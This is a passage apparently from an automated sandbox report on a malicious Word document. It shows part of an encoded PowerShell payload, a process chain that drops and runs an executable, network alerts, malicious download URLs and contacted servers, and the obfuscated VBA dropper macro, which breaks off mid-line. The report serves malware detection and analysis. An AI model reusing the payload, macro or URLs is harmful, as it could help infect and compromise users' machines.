GQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))" (Show Process)
      Spawned process "195082.exe" (Show Process)
      Spawned process "195082.exe" (Show Process)
      source
      Monitored Target
      relevance
      8/10
  • Hiding 4 Malicious Indicators
    • All indicators are available only in the private webservice or standalone version

  • Suspicious Indicators 8

  • External Systems
    • Detected Suricata Alert
      details
      Detected alert "ET DNS Query to a *.pw domain - Likely Hostile" (SID: 2016778, Rev: 4, Severity: 2) categorized as "Potentially Bad Traffic"
      Detected alert "ET INFO HTTP Request to a *.pw domain" (SID: 2016777, Rev: 11, Severity: 2) categorized as "Potentially Bad Traffic"
      Detected alert "ET POLICY HTTP traffic on port 443 (POST)" (SID: 2013926, Rev: 8, Severity: 2) categorized as "Potentially Bad Traffic"
      Detected alert "ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1" (SID: 2018358, Rev: 7, Severity: 2) categorized as "Potentially Bad Traffic"
      Detected alert "ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download" (SID: 2016538, Rev: 3, Severity: 2) categorized as "Potentially Bad Traffic"
      source
      Suricata Alerts
      relevance
      10/10
    • Found an IP/URL artifact that was identified as malicious by at least one reputation engine
      details
      5/67 reputation engines marked "http://www.utilitybillingsoftwares.com" as malicious (7% detection rate)
      6/67 reputation engines marked "http://amor.official.pw/f3sqvf" as malicious (8% detection rate)
      9/67 reputation engines marked "http://amor.official.pw" as malicious (13% detection rate)
      source
      External System
      relevance
      10/10
  • General
  • Installation/Persistance
    • Creates new processes
      details
      "WINWORD.EXE" is creating a new process (Name: "%WINDIR%\System32\cmd.exe", Handle: 1328)
      "cmd.exe" is creating a new process (Name: "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", Handle: 84)
      "195082.exe" is creating a new process (Name: "%PUBLIC%\195082.exe", Handle: 164)
      source
      API Call
      relevance
      8/10
    • Drops executable files
      details
      "195082.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
      source
      Binary File
      relevance
      10/10
  • Network Related
  • Unusual Characteristics
    • Checks for a resource fork (ADS) file
      details
      "powershell.exe" checked file "C:"
      source
      API Call
      relevance
      5/10
    • Contains embedded VBA macros with suspicious keywords
      details
      Found suspicious keyword "Shell" which indicates: "May run an executable file or a system command"
      Found suspicious keyword "vbHide" which indicates: "May run an executable file or a system command"
      Found suspicious keyword "ChrW" which indicates: "May attempt to obfuscate specific strings"
      Found suspicious keyword "Run" which indicates: "May run an executable file or a system command"
      Found suspicious keyword "StrReverse" which indicates: "May attempt to obfuscate specific strings"
      source
      Static Parser
      relevance
      10/10

  • Informative 22

  • Environment Awareness
  • External Systems
    • Detected Suricata Alert
      details
      Detected alert "ET INFO Windows OS Submitting USB Metadata to Microsoft" (SID: 2025275, Rev: 1, Severity: 3) categorized as "Misc activity"
      Detected alert "ET INFO EXE - Served Attached HTTP" (SID: 2014520, Rev: 6, Severity: 3) categorized as "Misc activity"
      source
      Suricata Alerts
      relevance
      10/10
  • General
    • Contacts domains
      details
      "www.utilitybillingsoftwares.com"
      "amor.official.pw"
      "t-p-e.net"
      "www.erzotech.eu"
      source
      Network Traffic
      relevance
      1/10
    • Contacts server
      details
      "173.203.172.88:80"
      "69.175.93.166:80"
      "217.160.0.130:80"
      "94.199.180.228:80"
      "91.217.66.130:443"
      source
      Network Traffic
      relevance
      1/10
    • Contains embedded VBA macros
      details
      File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: ""
      File "zAnsZRGs.bas" (Streampath: "Macros/VBA/zAnsZRGs") has code: "Sub jHTaHviiMS(hiOQkbpDTl) On Error Resume Next Dim zjKzfNnuqlkRw() ReDim LTCcGFScXZQ(2) WHzcCYqoIjQI(0) = 3177291 qSbqwRPl(1) = 4835403 nbNfZW = Loo - 2292541 isqjwOiMaJWc = 478140 * 8695550End SubFunction dQIcNsh()On Error Resume NextWfHIujbNMNc = "rFqs&&BFTlzTPzGCdQvrwoIHmOPvfYujKqSfVh"qTThwY = AETvjbfwG = jwwht = (2469864 / zECEqqcSd + 4546985 * cntUPn * (7986538 / SqoQu / 8404478 - Tan(oirwjN / CBool(DfXFnK / 2736932 / cDEWUSIPjKrru))))DBwcKhIOsSJ = jKoINjBzb = rwTkNzKzfna = (2628108 / MYXqfPKlpVOU + 4206095 * wadMuBWNZAi * (9038376 / WKMDTVYb / 6982330 - Tan(qVhQvBbEQsON / CBool(BbjMPzwWI / 7063003 / oacRvwzHMlnqMl))))MsJPddN = gjHBjhbyuf(WfHIujbNMNc, 25, 11)MTzFiUnVwSG = "GMwcIQAP% tes&&szqsYwLtUMjsADtaqTch"WblCkU = ziGUBcGbZ = JfrSjBLpp = (4919147 / WrXzpHSqobNBoL + 5452952 * UkXBViclMbP * (7876315 / aCCdranjXLVo / 6982231 - Tan(twdCHEVqESYb / CBool(OllOrdEOZLXz / 7095896 / wwYCNlzjpiYI))))Jrwzw = kQkzjFQlZ = mziKjWUlFFWPZt = (6117551 / KprfwDp + 6668634 * nicbSjzPwKbYC * (1068753 / PDcTmVrqRU / 9037759 - Tan(uuBiHvRsss / CBool(nYXzai / 802985 / IkQPsaWwXvnKG))))nuujzXVPTqz = gjHBjhbyuf(MTzFiUnVwSG, 20, 9)kvtdJGZLj = "sRhnLFlidjrjHts&&wo=%2rav% tes&&pIIKSRfsEjc"DiIPcPAXDl = lKVKRsSZk = jBrnpmBkh = (1409454 / CIPwkK + 8284035 * TOVzhFcwXM * (9560337 / DEQraFEwNbihLn / 6685202 - Tan(GMhha / CBool(RLLEKhMoiYjJD / 9644216 / YXiGsRsknltWa))))dzpLulEEWkV = sLiQWInFf = vWlZzFzCj = (7040986 / ipCaidY + 5212357 * TQKmwStTm * (8988797 / msBjkHr / 9091414 - Tan(qiKmPKVcpo / CBool(PdICfLzdiMd / 3032426 / aXpoTqaldwjk))))dpJGfAk = gjHBjhbyuf(kvtdJGZLj, 11, 19)bbWqbSbJJ = "SmlfzfXlXfqjjv%!!%7zFwAPhlpPdQnizo"fcfkRjSV = lUiFVnzHk = nBcGHQqfCEW = (2821453 / ozkYzhrKizSlrS + 7979845 * pOkJAHV * (9450764 / AjzvuUvXXtHkOA / 5084473 - Tan(WFDKUPzATMqlF / CBool(jcncwztPncWOUZ / 6529694 / bNKQdCRmcl))))MIcYmhHOZ = mwbhiKSZM = zlBczHRbnF = (9029479 / SslcaoUiK + 44729 * NLznF * (9733034 / wuMCdpM / 6499395 - Tan(VkqzWqOd / CBool(wBjdFiUzloR / 368376 / McbJzLPO))))InXrLQbYI = gjHBjhbyuf(bbWqbSbJJ, 16, 6)XPHfTP = "TbaQoYjzwCwWnQaMbHVkUYDziEMIdftD2rav%!=%8rav% teShnd"kWMEMBfq = KTtTqlZdf = SLibrzwvnfaKA = (4540349 / tAYZw + 188333 * ZLYWoQFUX * (743658 / aQNrEf / 6307039 - Tan(MDhZzTWPwkBE / CBool(twmSDULiqTI / 4270148 / aHqBw))))GZpckzMhf = ssLoTrmZD = BIjWzZjU = (5236458 / BKVEWjZDv + 8628333 * YuoILVE * (5605853 / jdRtjhkmWftmPc / 9030368 - Tan(WGSjRidKCcN / CBool(NoDcrjsXscYown / 6390145 / zcJRtZoP))))kJQbk = gjHBjhbyuf(XPHfTP, 5, 16)PTJPLcdqonj = "sKWNnav% tes&&sVElbTcWkQUlqz"smwXnkAVLtk = wkpUizVdQ = GiupV = (6274991 / SwhjvNTXtIIh + 5718016 * sIcvPOofLFl * (7319144 / VKzZKWUpj / 1585147 - Tan(AXVzpoNw / CBool(VOaSuFSwnnbz / 1761303 / zMwjwKJqJAHu))))BJirSRMj = ssqpWspzD = jifEEX = (380887 / jXriYlsFOmciEa + 2070647 * NaFzQiIJlqcREt * (1171902 / oMTkCJUFwQdD / 4366926 - Tan(CJTfriSEj / CBool(PiwiIbBUjrpsHa / 9465104 / GAAzE))))jKofwjNlE = gjHBjhbyuf(PTJPLcdqonj, 7, 17)uiZcrs = "kDkYzNHcdKUiHwpduGjwlD=%TwwKRSfILscWQAimaj"bVtOMZUuzBi = oFzENZwwb = ESZYlDAWaMLu = (755278 / dzlzEPA + 363580 * zQlQzoFDcj * (7106843 / YhUBnSkCm / 999525 - Tan(BlaQowtMnCnZH / CBool(mBhUIiKSmEQQwR / 9434752 / zsuWkfY))))oKwalV = YREiWzWkH = BARDidW = (6756375 / zWzXCcPXDvf + 7210861 * HcIDEAo * (4130745 / TIEvQfM / 3328845 - Tan(YnCfCYt / CBool(GGZTp / 5367587 / ltouiYWuMk))))jwhPS = gjHBjhbyuf(uiZcrs, 6, 16)HNljdjwLo = "wwXFzzcMonZlqwjhYkaR&!%LEAMJ"kwYnIhjTMT = TZfYHbXkv = iTiQPX = (277031 / oHmNdDiZBzpN + 6846449 * niXjawYw * (5945049 / MufPjFzdiTnziG / 9214254 - Tan(qhaZvhVOfz / CBool(iwCMqcoAjXTtv / 102489 / fPdnDRk))))RPFvacwunvi = wIrYECiYR = jMOjjHwWqFM = (776384 / niZjCGksw + 5383574 * zuVSXmWKGjNjmf * (9789458 / jRNLXu / 7200403 - Tan(ufSbS / CBool(rjkQimldwDj / 348169 / naunEDzDbjQaDI))))dnviYZlaFD = gjHBjhbyuf(HNljdjwLo, 6, 3)dDBfWqswBYl = "ii1rav%!=%7ishhNjRRjpE"NIYZQjUXwOE = ahkZSdjGd = laTSQkqH = (4181110 / zzwrj + 1477158 * UZzpcV * (3941222 / zvsQa / 3188417 - Tan(wWbzjN / CBool(qQYZYKaissLU / 2289906 / icIFwOTozru))))JMOtpGcmdNn = msDcQhXvh = iQDwKdPCzFG = (898517 / StTtlwTBS + 6510575 * lSWFcLnZiw * (9182690 / EIolEmw / 7232496 - Tan(iUliznmwOhPj / CBool(KsGJaoSja / 4911110 / iOlwNPPUw))))nnwzJzqUUu = gjHBjhbyuf(dDBfWqswBYl, 12, 9)cPWlw = "Skbrav%!&&jFZOwqCt"BlZcj = EwmYtzPpB = NkJCKrzPwv = (1383316 / tIFRov + 9849910 * MmRbczRwd * (9438091 / VtnlAf / 8466257 - Tan(KMsSzuwDdTc / CBool(UpiRbSi / 5050790 / ZzmBplP))))KrKLnD = GXElwOoKU = ThjvniAm = (7165261 / PVKizRVkMFR + 1583440 * hzGPrO * (1200219 / UwGwB / 8830455 - Tan(mVmPEFz / CBool(MVoisDzPCLYz / 9680852 / PJXfivYDjvX))))wfulZS = gjHBjhbyuf(cPWlw, 9, 7)vkudtYdiC = "pkIkorA% teqcpTiusfSNFJr"vLVzPTF = padwMUFpd = pkCOwLopGFwQL = (116143 / bBVIWh + 9119552 * bRjwjfzjNCN * (7466275 / PVYqTEaPNZOdml / 3641392 - Tan(hHMuEbzMNIK / CBool(YiOzNP / 2244147 / wRCcVQOsVVt))))EIjaGGSHw = tiwjvAsqo = LdLuQriLQ = (2956969 / ZnnPEkZoN + 967760 * rORfcCSzVYXGl * (7641070 / iEYjjEGWTqJQq / 3165700 - Tan(BaTTmwcl / CBool(bsTuwCj / 452673 / NBVPdYnlsz))))qccNtmb = gjHBjhbyuf(vkudtYdiC, 14, 6)ifrzOmVju = "ADDOCnTMGmirEQli=%4rav% tes&jRwlfLiQXTTcSvUCP"nihcEZGwn = sBMEEXUMq = qwIGXhIXHaAd = (5481529 / djHGPV + 7474466 * wMmazYXLfGt * (1178067 / WfiiUrCUui / 2909766 - Tan(FbYPNzUzJ / CBool(wTwjjAvvtjWjGA / 4897538 / vikMDiXBr))))AnhCV = wwwRJZIQX = OmkHCZzofCZ = (4163591 / qqCqNzvRw + 8955316 * nBzdkKOQjRKkK * (4272226 / mEpswSaaGaH / 6637038 - Tan(TbRSrtUAZVEUo / CBool(mGfFrU / 6182245 / rbDvYN))))iRGUUsNY = gjHBjhbyuf(ifrzOmVju, 18, 12)dHMZBuXtBo = "wfiYwQTahjlPnawrbwiwpMRw"TPpHONjtX = MczjLFhTO = NdPYGvKQiWs = (3281685 / jzwRPsiaYSqbv + 2252678 * lqNnRhwCZYDSd * (8270365 / ZWumTjP / 7750012 - Tan(ajJpLZzL / CBool(QfnJEzIjzWs / 2352991 / BjOsTjIsJ))))oIvfDVkz = WCvNhYHqA = sjMLXPSvij = (7332736 / vGAiabSFRCqGJ + 7064362 * qRkcHWR * (3883505 / pXqdBkiJXdHpN / 9923734 - Tan(jXuJpsFCmBbduG / CBool(WdlJsCkpEj / 4641259 / ifdZdSmwjcI))))iwqmwDfj = gjHBjhbyuf(dHMZBuXtBo, 9, 1)saLsWqnASUj = "oUrhqtTcaYMJkHtb% tesnzRFNcYSwMOAwCF"DzzaG = uXwhlPEdM = rKrZjNaljcbj = (1708908 / AmrBvJhFHSB + 4055784 * hdDFZ * (3305449 / ooQhsmrYJdNKO / 3005906 - Tan(zXCiCGmCZXL / CBool(tHfWCSS / 8412153 / VKIJSIw))))izIZGwtSTib = dErGlAijD = OjClrJhZzRiHL = (8405930 / XVdMuZjwqZUjFa + 8714990 * wTLDipadBb * (6776398 / qRWtzKNiA / 3772047 - Tan(RflMLW / CBool(czEpfnAnOi / 9077343 / LSqOHYDbjvMObf))))JDFSWTdkrtS = gjHBjhbyuf(saLsWqnASUj, 16, 11)OYkZjF = "vZMLZLFXOIYpLizLzWHYCRtHvisO !%6rav%!!%5ruPKmCXacGz"JmozzDMiUmb = bfKAJVRAO = YUHcSAvwnunRBA = (6982038 / RBIwwofIbcMWM + 9664292 * BZODNw * (6471768 / dNsUEdKiJ / 3198012 - Tan(EPrSAjpw / CBool(poZkp / 7523057 / rmwXtjjfiETb))))qzhjV = fRwCGutrJ = NTXzjf = (7808570 / IfRsSrMtYUjM + 7002645 * QOTkrlTqvvbkZc * (9856544 / DBqtwnJmwGpMV / 4779011 - Tan(zWSDJf / CBool(oCVSkVQhSjuiRi / 4220567 / zcEjlkwGUWniO))))TiwGaYD = gjHBjhbyuf(OYkZjF, 11, 13)NYiUQCn = "ZGnZiroBtCFswYwIBKIA"iNDRRVPpq = BNMAHoiKa = VuaBSIJUr = (9255595 / ZGDRkLskANEks + 4908066 * ssHIUfOTkVz * (3772008 / MZQjPacHJiX / 5644174 - Tan(ZZJRKicjPQMib / CBool(KmSvkrM / 4600293 / wYURzbjKkf))))coSawZIji = iFpKTKRrw = IDwnLRUqmmldBw = (2519102 / pQiHjGcCzJVcw + 7119527 * AQaRsahF * (6046494 / sXztAD / 8100212 - Tan(aVAMoQCbvpBwss / CBool(SlNah / 3966293 / IKzAnjfJ))))WvCDvIYJ = gjHBjhbyuf(NYiUQCn, 4, 4)GDFwGBnd = "iTHULinJSThUjuKlSCamjzozrYW=%KZVWijjDzCwfTczYQcbhSlZlAc"rwhXqMKs = zLrZUujzC = EvljSvLEiXYzk = (3845516 / uSwwkGfVqLR + 5824253 * uIsckqtZHS * (7968212 / qcAGlAbXr / 5050578 - Tan(lwSjYauVBQ / CBool(JZfvPtaHmzI / 5367256 / iiOFKpGkUfHiR))))kOjPZTWp = HUzNwnFHS = bpliwjnccW = (4820347 / uLoLM + 1994197 * ouXRzlGIYDUWlL * (722004 / PZGJAjCfHsCZ / 7742542 - Tan(lbvKdjEXn / CBool(qbOZHAntqXYlFA / 9327176 / rsKFjj))))jIBTlSFkaIz = gjHBjhbyuf(GDFwGBnd, 18, 19)tVrcq = "cBMds% tes&&!%PphDCJJQNjoRFYWN"IIOkakLYFq = qJjnMDQpr = wzlRBuwYEnrLX = (1464802 / hcfRvTWfFj + 4139947 * JwPmfRmuw * (5751684 / SFcnmt / 6918268 - Tan(mZKfalYvacU / CBool(lfWpcpALtkN / 5736157 / SMLTf))))ZIAovifYTz = klVAjwwRo = HWLSd = (9532477 / mjnLwsYmB + 2341859 * bIYNcvsiKkw * (4629327 / KBzEXYuzFtZcj / 3752042 - Tan(szOhmRpfcuuQ / CBool(vmopLzBvtT / 2908472 / RhVOwkvbEq))))dzlRupHv = gjHBjhbyuf(tVrcq, 17, 11)SmQjAWqZ = "wLcQAYLvTkipjXB%htASriabQBjUJXwpiEqqAtdwqnONPGfCzFoD"EYRwpJhmJTG = iINqwQIkf = jJHzzcJY = (982619 / CXuQOJZtfk + 9688985 * JtpplCptja * (1260443 / uKGkXfHiKOjGOz / 5380679 - Tan(qPEuWEzNKJqH / CBool(LsbRwVECpVA / 5616310 / QuKiboaC))))wTwjzJMTq = CTVLbqKsa = ozzwWHp = (3309859 / XkBtERGnFC + 5343342 * ChjJYFFVftK * (2812625 / LdQRYC / 8658360 - Tan(MCRBaR / CBool(VCFpwfmSSpzBj / 9151418 / iamlsopVhziYpi))))fHkdZ = gjHBjhbyuf(SmQjAWqZ, 24, 14)JDVYs = "rSSjtRqll=%6rabcWl"uUOPzhqw = rjEconQrq = YhiorzRaWacWns = (1231442 / wjKoqaYnBcLifJ + 9819434 * JYDpQFjrTsbH * (1687698 / tMVtokhCG / 9573876 - Tan(rnOlnv / CBool(bpMOoRf / 8666963 / SUzwQijizImUOF))))ZBLBU = HRFjYSUFj = OjTIfXENvmOhIw = (8502481 / GfmiIsM + 6955965 * wjlGa * (5594765 / nzkkLXD / 5315579 - Tan(YZcqa / CBool(GnLLoT / 324244 / VUjDioTHVJBt))))UHHIQHPzS = gjHBjhbyuf(JDVYs, 5, 7)UiztOiYhAj = "rUjARvnBPkdunjnozMKJflXwiPZzZmiCWKco"EiNEwWjEQE = abOGzziYC = oiMFljlnSmbHb = (886906 / UtVwrnLnU + 6298797 * cMRTVZlrcEZVAc * (3899832 / NATSzJhdE / 2366004 - Tan(KEdurZpGZV / CBool(QBWkbUvXVUXOwn / 305113 / vTioPJz))))hiEZir = amzJhwLVv = NjSvP = (6505068 / ijqImpf + 1342277 * KtnuhkHDwzcLO * (5160514 / wcMkEj / 3697252 - Tan(lRFiSpnwUCq / CBool(ShAVdbOzSFCU / 1147064 / JKduCGrMCcb))))UulGq = gjHBjhbyuf(UiztOiYhAj, 24, 11)pvRCJFzZ = "qJPInVmJjhlnss&&re=%3rav% tenMKVkbLLwDC"kICFNCSHqIr = PkJXBHipI = RuDosAOGukB = (9285888 / pWjcutdHBRL + 3716983 * fnvfPqdqjdCU * (3412949 / ncXbi / 3607324 - Tan(TBUik / CBool(ibPdrVGUaKOULS / 8468130 / tiIcrp))))dcNiW = fdpcAjMma = fuwPR = (9983320 / zKhNRJG + 4499484 * JKHqW * (1524420 / pwlnP / 3932694 - Tan(IokOpQTcr / CBool(TJRJcNUjFAaBi / 6886621 / XpJSfMvinY))))ntJcDiWtZXO = gjHBjhbyuf(pvRCJFzZ, 12, 15)TjhXiqD = "YLvhXuaslfHORakdIqETj%!!%8ramEDaBb"jblYmUEE = XnTnTozOR = wXchNhVj = (7608024 / XWZJnsVsrQw + 1944908 * IKLPYrUDbUrEf * (9431952 / alOzZvZ / 196267 - Tan(JAaSGXB / CBool(mdTXBRwrS / 5437557 / ChFHvJSGBBkwiJ))))OjhjCHK = wFYRBwESW = CdoYTSFG = (3726471 / wjEsfJoRAT + 281509 * kODLXaQfrj * (2060885 / FRVtmivdfFKR / 245790 - Tan(lsInSCQXsZV / CBool(ufpnlP / 4138942 / mNnvfRYX))))ddWLaoYwjX = gjHBjhbyuf(TjhXiqD, 7, 7)NaivjKdl = "ZtbDzovqzQYAIzkjpHoUIzNrzav%!!%4rav%!!%3ravfQS"FfWIojB = WFYzGlikT = dRiUthMhaLHnJi = (1380969 / osGStKNu + 1978394 * BYUzOzUtFu * (1345293 / dpzjaBmiwpql / 9554827 - Tan(iBCSEnKPfoNaz / CBool(TPdMNB / 2956814 / UJkLIbhL))))RzGnorP = hiCYTSrnp = dNJJWzEd = (2976514 / MiYwaNjshtf + 6653804 * TGfYYpAYqXu * (4610708 / GLnkH / 5881889 - Tan(AzDJFzF / CBool(wFwnufpDqbfn / 2898454 / VGdYYH))))KJZTfP = gjHBjhbyuf(NaivjKdl, 4, 18)vJXWlj = "ZGFbBwmnrPazbKzMQvcADtCo% tGuEJP"mdizzCjwfn = cwHfvfVDQ = BGOCpb = (9005936 / jmoWi + 6003313 * ojAddpuKSsHSPM * (9155354 / SXpInCGwvNC / 1082855 - Tan(JFUcjGwVZnQ / CBool(wwJiJf / 8276703 / GWzoWImaEiQm))))bdLBdzZqvB = ocImnqjFw = skZArG = (9369224 / miLUanG + 6090565 * bUYQrW * (5778434 / TnXuTzlo / 9349273 - Tan(PPVRfdqwia / CBool(CVfHkEkY / 8768928 / NvhYS))))UZpOKtovWMh = gjHBjhbyuf(vJXWlj, 6, 3)lINwNw = "OifETHFzv% tes&&eh=%5ravzFJWcBTAklYPo"VwFRKWVYcck = zEmjVccGl = WrsKaWw = (5350863 / uEdUnQnjpVQsdk + 462025 * UiqNNUpfOUMZ * (5925559 / qsfGBdVkwT / 6426730 - Tan(mkUUsGqVGrHOk / CBool(PzFTEOEOfX / 2395966 / jZTkfXjUi))))iwjzwhSLZai = FKubFjJVz = RWaNXffPToYF = (9457876 / UXQBVL + 7042156 * QsJnLrwivsf * (7500274 / BILwEAHMfJzNlG / 6508637 - Tan(IznAjFiE / CBool(UoQotfZKNTOF / 933276 / LcVkiJZZ))))uOHTI = gjHBjhbyuf(lINwNw, 14, 16)CtkUlwYfi = "rWBYYoGzijNTnitGSIfOKTYZwSNDAfhtqes&&zuuUYvKqOv"kWwfKMS = HDwPksqrt = TLppdhUkYImdjE = (5706241 / LvCqU + 1396499 * cYTTOiSL * (7316254 / RCkVAQZhszSii / 4366092 - Tan(lhjuoCiMvNQKN / CBool(FFzAkP / 223074 / hLfcJcHwztwad))))aIJoivDpaJz = wlQzqmqpH = GLbmtVduHrs = (64706 / PMsBEwPWN + 7654563 * IUjDtcKDZc * (4767064 / iqOcUzpi / 7144802 - Tan(QBlwkmsrMtXziZ / CBool(aAihoatquKLq / 3867875 / XXFqLEiSvrYLhP))))vqzkvC = gjHBjhbyuf(CtkUlwYfi, 7, 8)uGMLD = "ITMvfUBjui=%1rav% tes&&cotpVIjMMVQn"SuJlN = ZuruQINOd = rfzUfpHCAYBG = (6606282 / PioLZ + 2286012 * TlvsivqJBOLQ * (6038291 / GwDNiWpzSKSL / 7619162 - Tan(mTCoRzXtBbw / CBool(QtwJpqCSIhkwu / 7927697 / TTkZXHKXiLWzjN))))SpqZodGzfm = MucQkGwAI = cIVXFiEtb = (85328 / aRBZm + 1047086 * QwSrWEvnI * (6504095 / iBTLPz / 2806753 - Tan(nSzHdXfKmdar / CBool(AbkJCllQcRaWjs / 9732057 / PBEKzSDRqpTr))))NbiHqL = gjHBjhbyuf(uGMLD, 12, 14)FVlzE = "djbuSEbwaMspaFrh=RjRJFNSnspJKidvfHfViCb"fzfiKzsw = wVbTaNRcl = ibiVJ = (2245912 / mfozAcPL + 1989601 * ZWAzb * (8823753 / MsXjoUiRwzJQ / 683747 - Tan(MHokiwczsMH / CBool(MrFkDHht / 1775285 / okzKGhDd))))mMPkLiSVq = GvGQNOLMw = HOAKcYHrLMwBjK = (5151741 / TEnTsvuPGMJwdr + 4794945 * KlluQdIZCPVrj * (800903 / wpRvHZd / 624150 - Tan(UlDPOLN / CBool(nFrzYffp / 9240501 / RcZCiCA))))TiZukVvz = gjHBjhbyuf(FVlzE, 23, 7)OBGPOmGfQ = "ZGnQizwzoDtOIfIbhAmCGVfzPkMvdD=%bPVGcr"QdcZqz = OjoGNvXqa = mauPUnlQsnzzu = (6763268 / WphNww + 6226747 * vUDNtKJPA * (6267498 / zZVEaXsw / 2780508 - Tan(iPpFzrFpdcsG / CBool(zuRas / 982644 / YzSajjAlHpF))))MDqLVl = CRlMEOHvT = ZXEbt = (4712304 / JIzArfPjz + 2828268 * OqUinWqoP * (7457119 / CSwlfwbOwpKic / 9721166 - Tan(FLmVcHzlhcjqj / CBool(kFJjTFiDFzQ / 1493157 / PjDMsjvRfBu))))wpKOVjXV = gjHBjhbyuf(OBGPOmGfQ, 4, 8)dQIcNsh = JDFSWTdkrtS + jIBTlSFkaIz + WvCDvIYJ + NbiHqL + dpJGfAk + qccNtmb + jwhPS + jKofwjNlE + iwqmwDfj + nnwzJzqUUu + dzlRupHv + fHkdZ + TiZukVvz + MsJPddN + ntJcDiWtZXO + kJQbk + dnviYZlaFD + iRGUUsNY + nuujzXVPTqz + UulGq + wpKOVjXV + vqzkvC + UZpOKtovWMh + uOHTI + UHHIQHPzS + wfulZS + InXrLQbYI + ddWLaoYwjX + KJZTfP + TiwGaYDKiDhPJwIs = hOjBvIsNC = nEUZkE = (5710379 / qHoPFEPZ + 7018684 * wnvCI * (2958052 / BzBQj / 8311239 - Tan(PZNppJTdmtF / CBool(ERIfm / 4307002 / pROKkvFYi))))GczHPGAjq = ZkbjSBCwH = jtROuKB = (3113365 / Pdtjl 